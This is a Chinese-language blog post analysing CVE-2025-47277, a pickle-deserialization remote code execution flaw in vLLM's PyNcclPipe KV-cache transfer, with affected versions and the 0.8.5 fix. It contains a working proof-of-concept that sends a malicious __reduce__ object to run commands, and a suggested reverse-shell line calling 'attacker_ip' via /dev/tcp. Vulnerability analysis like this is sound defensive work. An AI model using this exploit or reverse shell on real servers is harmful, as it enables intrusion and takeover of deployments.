CVE-2025-47277 是 vLLM 项目中的一个 **远程代码执行(RCE)**漏洞,源于其使用PyNcclPipe
模块时,未经验证地反序列化来自网络的数据,攻击者可通过构造恶意 pickle 数据包,在服务器端执行任意代码。该漏洞严重性等级为 Critical。
条件 | 说明 |
影响版本 | vLLM >= 0.6.5 且 < 0.8.5 |
影响模块 | VLLMEngineV0 <br><br>引擎中启用的PyNcclPipe <br><br>KV 缓存传输机制 |
受影响部署模式 | 多节点分布式部署,KV 节点暴露在公网或未限制访问 |
不受影响 | 使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署 |
可以在本地搭建一个复现环境:
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig
config=KVTransferConfig(
kv_ip="127.0.0.1",
kv_port=8888,
kv_rank=0,
kv_parallel_size=1,
kv_buffer_size=1024,
kv_buffer_device="cpu"
)
p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor()
代码解读
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig
PyNcclPipe:vLLM 的分布式 KV 缓存传输模块,用于节点之间传输 tensor 数据。
KVTransferConfig:用于配置 KV 缓存传输参数,例如端口、IP、rank 等
config = KVTransferConfig(
kv_ip="127.0.0.1",
kv_port=8888,
kv_rank=0,
kv_parallel_size=1,
kv_buffer_size=1024,
kv_buffer_device="cpu"
)
kv_ip:本地监听 IP,接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地(攻击时需开放公网 IP)。
kv_port:网络监听端口(服务端口),攻击者通过该端口发送恶意数据。
kv_rank:当前节点在分布式系统中的编号,0 表示主节点。
kv_parallel_size:并行传输的节点数量,这里设为 1,表示单连接通信。
kv_buffer_size:每次接收 tensor 的 buffer 大小。
kv_buffer_device:buffer 存储设备,设为 "cpu" 表示张量数据缓存在 CPU 上。
p = PyNcclPipe(config=config, local_rank=0)
创建一个 PyNcclPipe 对象,它封装了底层 TCP 通信逻辑,用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。
p.recv_tensor()
这是漏洞的触发点!recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。
成因点 | 描述 |
不安全反序列化 | recv_obj() 中使用pickle.loads() 对用户发送的序列化数据直接反序列化,无身份校验或数据校验。 |
网络暴露配置缺陷 | PyTorch 的TCPStore 默认监听0.0.0.0 ,vLLM 用户配置--kv-ip 也未能强制绑定私有 IP。 |
内网信任假设过强 | vLLM 设计默认内网环境可信,缺乏防御恶意内部节点或入侵者横向移动的保护措施。 |
在pynccl_pipe.py中调用了recv_obj()方法
而recv_obj()方法中刚好对传入的字符串进行pickle反序列化
攻击脚本
from vllm.distributed.utils import StatelessProcessGroup
class Evil:
def __reduce__(self):
import os
cmd='whoami'
return (os.system,(cmd,))
client = StatelessProcessGroup.create(
host='127.0.0.1',
port=18888,
rank=1,
world_size=2,
)
client.send_obj(obj=Evil(),dst=0)
代码分段解读:
from vllm.distributed.utils import StatelessProcessGroup
这里引入 StatelessProcessGroup,这是 vLLM 中用于节点间通信的一个工具类,封装了 TCP 通信逻辑。
class Evil:
def __reduce__(self):
import os
cmd = 'whoami'
return (os.system, (cmd,))
这是攻击的核心:
__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',)),反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令,例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。
client = StatelessProcessGroup.create(
host='127.0.0.1',
port=18888,
rank=1,
world_size=2,
)
这行代码创建了一个客户端通信节点:host:目标服务监听地址(本地测试用 127.0.0.1),port:目标服务监听端口(通常为服务端的 KV 服务端口),rank:当前通信节点的编号(1 表示攻击节点),world_size:分布式训练的总节点数(2 表示 2 个节点通信)
这个接口实际上是将攻击者作为一个“合法”节点加入通信组。
client.send_obj(obj=Evil(), dst=0)
通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时,会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__(),间接调用 os.system('whoami')。
运行后,目标机器会执行whoami命令,在实战环境下可以反弹shell
vLLM 在 0.8.5 版本中已修复此漏洞:
TCPStore
使用指定私有地址进行绑定(防止监听所有接口)pickle.loads
被直接调用pickle
用于跨网络通信1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!